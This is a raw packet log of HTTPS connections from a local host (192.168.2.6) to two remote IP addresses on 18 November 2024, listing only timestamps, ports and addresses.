Nov 18, 2024 05:57:20.609009027 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.609035969 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.609111071 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.609227896 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.609241009 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.630069971 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.630333900 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.630373955 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.630400896 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.630408049 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.630417109 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.630422115 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.632531881 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.632618904 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.632698059 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.632849932 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.632885933 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.640460968 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.640678883 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.640765905 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.640767097 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.640846014 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.640882969 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.642563105 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.642582893 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.642646074 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.642743111 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.642752886 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.645093918 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.645284891 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.645345926 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.645375967 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.645389080 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.645417929 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.645430088 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.647394896 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.647406101 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.647469997 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.647589922 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.647605896 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.652887106 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.653536081 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.653590918 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.653625011 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.653633118 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.653640985 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.653645039 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.655369997 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.655380011 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:20.655437946 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.655550003 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:20.655553102 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.054851055 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.054929972 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.057055950 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.057070971 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.057423115 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.101789951 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.114546061 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.159329891 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.354443073 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.354893923 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.354918003 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.355331898 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.355336905 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.367544889 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.368083954 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.368128061 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.368505001 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.368522882 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.376833916 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.377139091 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.377150059 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.377501011 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.377506971 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.390788078 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.391171932 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.391180992 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.391621113 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.391625881 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.401556969 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.401849985 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.401856899 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.402285099 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.402288914 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.405103922 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405127048 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405141115 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405180931 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.405191898 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405203104 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405257940 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.405265093 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405776024 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.405827045 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.405833006 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.406402111 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.406531096 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.417347908 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.417355061 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.417382002 CET	49749	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:21.417388916 CET	443	49749	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:21.484147072 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.484364033 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.484415054 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.484519005 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.484533072 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.484544039 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.484548092 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.488219023 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.488253117 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.488364935 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.488643885 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.488673925 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.502988100 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.503290892 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.503392935 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.503469944 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.503469944 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.503504992 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.503528118 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.504766941 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.504910946 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.504956007 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.505599976 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.505611897 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.505621910 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.505626917 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.506537914 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.506575108 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.506629944 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.506786108 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.506803036 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.513879061 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.513911963 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.513972044 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.514343977 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.514372110 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.531126976 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.531194925 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.531250000 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.533302069 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.533452034 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.533507109 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.552618027 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.552623987 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.552999973 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.553016901 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.553028107 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.553033113 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.557645082 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.557683945 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.557743073 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.558357954 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.558371067 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.558937073 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.559022903 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:21.559093952 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.559261084 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:21.559290886 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.240472078 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.241079092 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.241108894 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.241533041 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.241545916 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.261725903 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.262288094 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.262341976 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.262818098 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.262830973 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.264527082 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.264914989 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.264926910 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.265507936 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.265515089 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.294127941 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.294511080 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.294527054 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.294924974 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.294929028 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.308243036 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.308554888 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.308635950 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.309075117 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.309088945 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.378801107 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.378870964 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.379154921 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.379198074 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.379198074 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.379220963 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.379234076 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.382344007 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.382365942 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.382522106 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.382669926 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.382678986 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.391215086 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.391352892 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.391473055 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.391503096 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.391514063 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.391530991 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.391536951 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.393790007 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.393835068 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.393903017 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.394031048 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.394051075 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.395457029 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.395570040 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.395658970 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.395701885 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.395720005 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.395752907 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.395759106 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.397581100 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.397627115 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.397691011 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.397829056 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.397847891 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.422430992 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.422632933 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.422722101 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.422755003 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.422768116 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.422779083 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.422784090 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.424812078 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.424824953 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.424885988 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.425049067 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.425056934 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.438004017 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.438174009 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.438232899 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.438285112 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.438285112 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.438309908 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.438330889 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.440118074 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.440172911 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:22.440248966 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.440494061 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:22.440531969 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.103008032 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.103513002 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.103535891 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.103992939 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.103998899 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.117930889 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.118362904 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.118388891 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.118776083 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.118782043 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.135123014 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.135476112 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.135499954 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.135946989 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.135953903 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.159094095 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.159499884 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.159514904 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.159934044 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.159941912 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.163157940 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.163496017 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.163522959 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.163902998 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.163908958 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.233911991 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.233979940 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.234126091 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.234668970 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.234690905 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.234703064 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.234709024 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.239630938 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.239660025 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.239891052 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.240149021 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.240159988 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.246968031 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.247421026 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.250631094 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.253067970 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.253067970 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.253086090 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.253097057 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.255445004 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.255491018 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.255572081 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.255702019 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.255718946 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.277698040 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.277774096 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.277831078 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.277954102 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.277976036 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.277995110 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.278002024 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.280283928 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.280308008 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.280417919 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.280559063 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.280570984 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.287852049 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.287925005 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.287975073 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.288063049 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.288074970 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.288090944 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.288096905 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.290183067 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.290214062 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.290272951 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.290461063 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.290477991 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.294625044 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.294779062 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.294828892 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.294868946 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.294884920 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.294898987 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.294905901 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.296873093 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.296916962 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.297008038 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.297144890 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.297162056 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.985124111 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.987768888 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.987781048 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:23.988570929 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:23.988576889 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.014276028 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.014775991 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.014794111 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.015259981 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.015269041 CET	443	49770	13.107.246.45	192.168.2.6
